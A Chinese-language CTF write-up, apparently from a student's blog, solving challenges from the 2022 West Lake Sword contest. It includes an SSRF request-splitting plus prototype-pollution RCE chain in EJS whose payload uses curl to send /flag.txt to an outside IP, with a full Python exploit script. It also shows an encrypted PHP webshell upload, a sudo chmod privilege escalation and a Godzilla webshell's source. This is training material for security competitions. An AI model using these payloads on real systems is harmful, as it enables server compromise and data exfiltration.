引言
看起来这是 农历兔年到来的第一场 CTF 比赛
祝大家新年快乐,兔年大吉,前兔似锦,大展宏兔!
西湖论剑·2022中国杭州网络安全技能大赛
全日制高校在校生(含研究生),以所在高校为单位组队参赛,不得跨校组队。 本赛项与IoT攻防赛为同一批参赛选手,建议参赛选手组队时考虑IoT选手的比例。
线上初赛:2023年2月2日 10:00-18:00
主流CTF夺旗赛模式
又是个因为疫情原因(?)推迟举办的比赛了(
由于只能按照所在高校来组队,不能联合战队,报名结束前两天问了下,校队里一群鸽子还没组队,然后就问了下和学弟们一起组了一队,随便看看题好了。
但是喵喵比较佛系,其实没好好打,当天下午快16.才开始看题,唔(((
这篇 writeup 里有一些是比赛结束后继续做出来的,也有这过程中卡住然后根据大师傅 wp 复现的,就当学习学习,练练手记录一下好了。
Web
Node Magical Login
一个简单的用nodejs写的登录站点(貌似暗藏玄机)
controller.js
部分源码
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}
只需要带个 user=admin
的 cookie 就行了
GET /flag1 HTTP/1.1
Host: 80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: textml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=admin
Upgrade-Insecure-Requests: 1
If-None-Match: W/"3a-RlxhITUNSh+HitDVv+yl4xv4J4I"
第二部分 flag 的话,再看 controller.js
源码
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
这里如果传个 array 进去的话,调用 .toLowerCase()
用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function
,但是捕获异常这里直接就能跳过了,返回第二部分 flag
POST /getflag2 HTTP/1.1
Host: 80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81
Content-Length: 71
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81
Referer: http://80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81/flag2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"checkcode":["aGr5AtSp55dRacer",2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]}
实际上直接传个长度为16的 array 就行,比如
{"checkcode":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]}
扭转乾坤
这题附件给的太奇怪了,一个zip里面一个pdf
不过还是看提示
在实际产品场景中常见存在多种中间件的情况,这时如果存在某种拦截,可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务
直接上传的话,提示
Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.
于是要在 Content-Type: multipart/form-data
上做文章
参考 https://www.anquanke.com/post/id/241265
利用 RFC 差异来绕过,加个引号就过了
POST /ctf/hello-servlet HTTP/1.1
Host: 1.14.65.100
Content-Length: 3246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.65.100
Content-Type: multipart/"form-data"; boundary=----WebKitFormBoundary3oAve6BcRBg213uo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.65.100/ctf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary3oAve6BcRBg213uo
Content-Disposition: form-data; name="uploadfile"; filename="bypass.jsp"
Content-Type: application/octet-stream
miaotony
------WebKitFormBoundary3oAve6BcRBg213uo--
DASCTF{407a13a21a6b85b1236b003479468c82}
赛后又试了试,貌似只需要不出现完整的 multipart/form-data
就能过,但是必须有 multipart/
(感觉这样出题也太迷了
real_ez_node
app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
secret : 'secret', // 对session id 相关的cookie 进行签名
resave : true,
saveUninitialized: false, // 是否保存未初始化的会话
cookie : {
maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
// fs.readFile(filePath, (err, content) => {
// if (err) return callback(new Error(err))
// let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
// let rendered = compiled()
// return callback(null, rendered)
// })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
routes/index.js
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;
一眼猜到要用 /curl
路由来构造 SSRF 打 /copy
路由下的 原型链污染,当然还差个 RCE,但是貌似源码里没找到
先看看咋打 SSRF,这里要 POST /copy 的话很明显需要请求拆分
查了下 http.get
,参考 Security Bugs in Practice: SSRF via Request Splitting
发现在 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,nodejs 不会对这些 Unicode 进行编码转义,因为它们不是 HTTP 控制字符
\u{010D}\u{010A}
(čĊ) 这样的 string 被编码为 latin1 之后就只剩下了 \r\n
,于是就能用来做请求拆分了
触发条件是:
The behaviour has been fixed in the recent Node.js 10 release, which will throw an error if the request path contains non-ascii characters. But for Node.js versions 8 or lower, any server that makes outgoing HTTP requests may be vulnerable to an SSRF via request splitting if it:
- Accepts unicode data from from user input, and
- Includes that input in the request path of an outgoing HTTP request, and
- The request has a zero-length body (such as a GET or DELETE).
然后看到一道题就用到了 NodeJS SSRF by Response Splitting — ASIS CTF Finals 2018 — Proxy-Proxy Question Walkthrough
本地搭环境起来试了试,确实可以
然后看 原型链污染
这里很明显用 safeobj.expand
把接收到的东西给放到 user 里了
过滤了 __proto__
用 constructor.prototype
绕一下就行
这个库里直接递归按照 .
做分隔写入 obj,很明显可以原型链污染
(后来发现也是现成 CVE-2021-25928
那最后就是找哪里能 RCE 或者 读文件了
既然源码里没有,那就是依赖了,瞄眼 package.json
{
"name": "hello-world",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"debug": "~2.6.9",
"ejs": "^3.0.1",
"express": "~4.16.1",
"express-session": "^1.17.3",
"http-errors": "~1.6.3",
"jade": "^1.11.0",
"jsonwebtoken": "^8.5.1",
"lodash": "^4.2.1",
"md5": "^2.3.0",
"mongodb": "^4.10.0",
"morgan": "~1.9.1",
"mysql": "^2.18.1",
"node-serialize": "^0.0.4",
"pug": "2.0.0-beta11",
"safe-obj": "^1.0.2"
}
}
pug! 2021 巅峰极客有个题 打过!
但是这里用的渲染引擎是 ejs
(顺便,这里支持 json 或者 urlencoded
参考 EJS, Server side template injection RCE (CVE-2022-29078) - writeup
ejs 也有 RCE!
这里用到的 [ejs/3.0.1 在影响范围内](ejs/3.0.1 在范围内)(3.1.7 才 fix
构造个原型链污染把这个 outputFunctionName
赋值了就行
写wp的时候才发现上面那篇喵喵的 wp 就写了一句
构造 RCE payload
{"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('touch /tmp/miao');s"}
(实际上直接 constructor.prototype.outputFunctionName
就行,不用 json 用 urlencode 也行
然后算好 content-length,试了下可以多不能少,不然解析就烂掉了请求不到 /copy 路由了
另外要多加个 GET /
之类的去闭合原来的请求
或者也可以在第二个请求的时候加个 Connection: close
头,就不会管之后的内容了
测试一下
成功 RCE!
试了下 docker 容器里没 /dev/tcp
,又不需要弹 shell,干脆直接 curl 外带 flag 好了。
curl -F "[emailprotected]/flag.txt" 11.11.111.111:1234
拼接一下
a HTTP/1.1
Host: 127.0.0.1
POST /copy HTTP/1.1
Content-type: application/json
Content-Length: 159
{"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl -F [emailprotected]/flag.txt 11.11.111.111:1234');s"}
POST /
encodeURI("a\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/copy\u{010D}\u{010A}Content-type:\u{0120}application/json\u{010D}\u{010A}Content-Length:\u{0120}159\u{010D}\u{010A}\u{010D}\u{010A}\u{017B}\u{0122}constructor.prototype.view\u{0120}options.outputFunctionName\u{0122}:\u{0122}x;process.mainModule.require(\u{0127}child_process\u{0127}).execSync(\u{0127}curl\u{0120}-F\u{0120}[emailprotected]/flag.txt\u{0120}11.11.111.111:1234\u{0127});s\u{0122}\u{017D}\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/")
测试发现 {}""''
这些都得用 Unicode 处理才行,也就是 chr(0x0100 + ord(i))
,不如接收不到请求,只有请求了 /q=xxx 然后没了
最后拿去请求远程
GET /curl?q=a%C4%A0HTTP/1.1%C4%8D%C4%8AHost:%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8APOST%C4%A0/copy%C4%A0HTTP/1.1%C4%8D%C4%8AContent-type:%C4%A0application/json%C4%8D%C4%8AContent-Length:%C4%A0159%C4%8D%C4%8A%C4%8D%C4%8A%C5%BB%C4%A2constructor.prototype.view%C4%A0options.outputFunctionName%C4%A2:%C4%A2x;process.mainModule.require(%C4%A7child_process%C4%A7).execSync(%C4%A7curl%C4%A0-F%C4%[emailprotected]/flag.txt%C4%A011.11.111.111:1234%C4%A7);s%C4%A2%C5%BD%C4%8D%C4%8A%C4%8D%C4%8APOST%C4%A0/
这题打的时候弄了老半天,早知道就自己写个脚本构造 payload 了,手动构造调了老半天写错了一堆((
赛后看其他队伍 wp 才发现原来之前有题目出过类似的了,怪不得其他师傅这么快做出来了,脚本看上去都这么像
从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击
顺便贴个咱改的脚本
import requests import urllib.parse payload = '''a HTTP/1.1 Host: 127.0.0.1 POST /copy HTTP/1.1 Content-type: application/json Content-Length: 159 Connection: close {"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl -F [emailprotected]/flag.txt 11.11.111.111:1234');s"} POST /'''.replace("\n","\r\n") def payload_encode(raw): ret = u"" for i in raw: ret += chr(0x0100+ord(i)) return ret payload = payload_encode(payload) print(payload) r = requests.get('http://xxxx/curl?q=' + urllib.parse.quote(payload)) print(r.text)
其实可以把长度再算算的,摸了(
编码也可以用下面这样而不必把字母数字那些 ASCII 改了
payload = payload.replace('\r\n', '\u010d\u010a') \ .replace('+', '\u012b') \ .replace(' ', '\u0120') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ .replace('`', '\u0127')
unusual php
搞点不一样的php
<?php
if($_GET["a"]=="upload"){
move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
phpinfo();
}
读 /index.php
发现是一团乱码,盲猜用了啥解析引擎之类的东西
插件目录 /usr/local/lib/php/extensions/no-debug-non-zts-20190902
读 /usr/local/lib/php.ini
得到扩展路径
curl "http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/index.php?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so" > zend_test.so
读回来然后把无关的去掉,再丢进 ida
看起来解析的时候用 abcsdfadfjiweur
作为 key 然后 RC4 解密然后当成 php 去执行
把拿下来的 index.php 看看
于是我们传个 RC4 加密后的一句话马上去就好
473xeG4d+1FXOOiInKCC2LdFHDRL3s5i4ZuTj9iuNY0O83HcUA==
base64 decode (或者 output format 选 latin1 然后 save 到文件也行)
然后整个表单 multipart/form-data 传上去
<form action="/?a=upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
然后访问
/upload/miaotony.php?miaotony=system('ls -al /');
这里复现环境有人打过了,原来的话这里是没权限读 flag 的
然后 /etc/sudoers
不可读,但是有个 sudoers.bak
当前的 www-data 用户可以免密执行 chmod,那直接
sudo chmod 777 /flag
cat /flag
复现的过程中发现一个问题,如果用 burpsuite 传二进制文件的话,可能会丢东西。。
解析不出来的话会报错 Fatal error: file can’t parse in Unknown on line 0
调了老半天才发现是这个问题,坑死了!
但是喵喵这个 burpsuite 版本有点老了,不知道新版的还有没有这个问题了(
Misc
签到题喵
转 hex 得到提示,给公众号发 西湖论剑2023我来了!
mp3
看起来很正常的mp3文件
文件末尾拼接了张图片,提取出来
这个也不是二维码,大概率就是黑白转 01 了,随便写个脚本处理下
import cv2
img = cv2.imread("1.png", cv2.IMREAD_GRAYSCALE)
data = ''
for i in range(img.shape[0]):
for j in range(img.shape[1]):
if img[i,j] >= 128:
data += '0'
else:
data += '1'
print(data)
然后得到一个 zip
需要密码,然后再看 mp3,拿 MP3Stego 解密一下,试了下密码为空
Decode.exe -X cipher.mp3
就能出来个 ASCII 字符串
8750d5109208213f
解压 zip
2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj
好多重复的字符,根据文件名提示盲猜是 ROT47
a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();
直接控制台执行得到 flag
DASCTF{f8097257d699d7fdba7e97a15c4f94b4}
take_the_zip_easy
easy zip, easy flow
ZipCrypto Store/Deflate,bkcrack 爆破解压缩包,然后拿密钥把文件提取出来
$ echo -n dasflow.pcapng > plain.txt
$ ./bkcrack -C zipeasy.zip -c dasflow.zip -p plain.txt -o 30 -x 0 504B0304
bkcrack 1.5.0 - 2022-07-07
[16:37:53] Z reduction using 6 bytes of known plaintext
100.0 % (6 / 6)
[16:37:53] Attack on 1038290 Z values at index 37
Keys: 2b7d78f3 0ebcabad a069728c
67.7 % (703381 / 1038290)
[16:47:34] Keys
2b7d78f3 0ebcabad a069728c
$ ./bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip
bkcrack 1.5.0 - 2022-07-07
[16:53:57] Writing deciphered data dasflow.zip (maybe compressed)
Wrote deciphered data.
解压看下 http
form-data 是上传木马,后面的 eval.php 瞄了眼是哥斯拉流量
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
run 函数在哥斯拉马里,如果开启 gzip 的话,会把命令 gzdecode 然后执行的结果用 gzencode 做压缩
后面的流量里传了个 flag.zip,里面有 flag,但是有密码
那大概率之前的这几个 eval.php 流量是生成这个 zip 的,参数里就会有密码
air123=J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3
用上面的 key 和脚本解密一下
<?php
function encode($D, $K)
{
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
$pass = 'air123';
$payloadName = 'payload';
$key = 'd8ea7326e6ec5916';
$postdata = "J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3";
$data = encode(base64_decode(urldecode($postdata)), $key);
// echo $data;
// echo "\n\n";
echo gzdecode($data);
得到
cmdLinePsh -c "cd "/var/www/html/upload/";zip -o flag.zip /flag -P [emailprotected]" 2>&1
methodName
execCommand
所以密码就是 [emailprotected]
,解压得到 flag
Reverse
Dual personality
#include <iostream>
int main()
{
unsigned char enc[0x100] = {0x0AA,0x4F,0x0F,0x0E2,0x0E4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0x0BC,0x8F,0x8B,0x78,0x0D3,0x73,0x88,0x5E,0x0AE,0x47,0x85,0x70,0x31,0x0B3,0x9,0x0CE,0x13,0x0F5,0x0D,0x0CA};
int key[] = {157, 68, 55, 181};
key[0] &= key[1];
key[1] |= key[2];
key[2] ^= key[3];
key[3] = ~key[3];
for (int i = 0; i < 32; i++)
enc[i] ^= key[i % 4];
unsigned long long *p2 = (unsigned long long*)enc;
p2[0] = (p2[0] >> 0xc) | (p2[0] << 0x34);
p2[1] = (p2[1] >> 0x22) | (p2[1] << 0x1e);
p2[2] = (p2[2] >> 0x38) | (p2[2] << 0x8);
p2[3] = (p2[3] >> 0xe) | (p2[3] << 0x32);
int *p1 = (int*)enc;
int secret = 0x5df966ae;
secret -= 0x21524111;
for (int i = 0; i < 8; i++)
{
int prev = secret;
secret ^= p1[i];
p1[i] -= prev;
}
printf("%s\n", enc);
return 0;
}
小结
(2web 1misc 1re)
怎么说呢,主要这次喵喵比较佛系,没好好打,18. 结束的比赛当天有点事 (摸鱼) 下午快16.才开始看题,看到这么多题直接傻了(时长8h的比赛每一类都五六七道题也太多了吧),比赛期间就做出了两道 web,然后开了两道 misc 都做到一半就结束了,唔(((
队友的话,感觉加上喵喵总共也就4个人看题,我们这群鸽子没几个人有空,学弟那边大概率还是第一次打比较大的比赛,也没啥经验,感觉下次有机会有空的话得线下一起好好打才行,哈哈
BTW,看到有师傅整理了 复现环境,题目附件,甚至还构建好 docker 镜像了,好唉
有需要的师傅可以去复现下
就这样吧,喵呜喵呜喵
溜了溜了喵(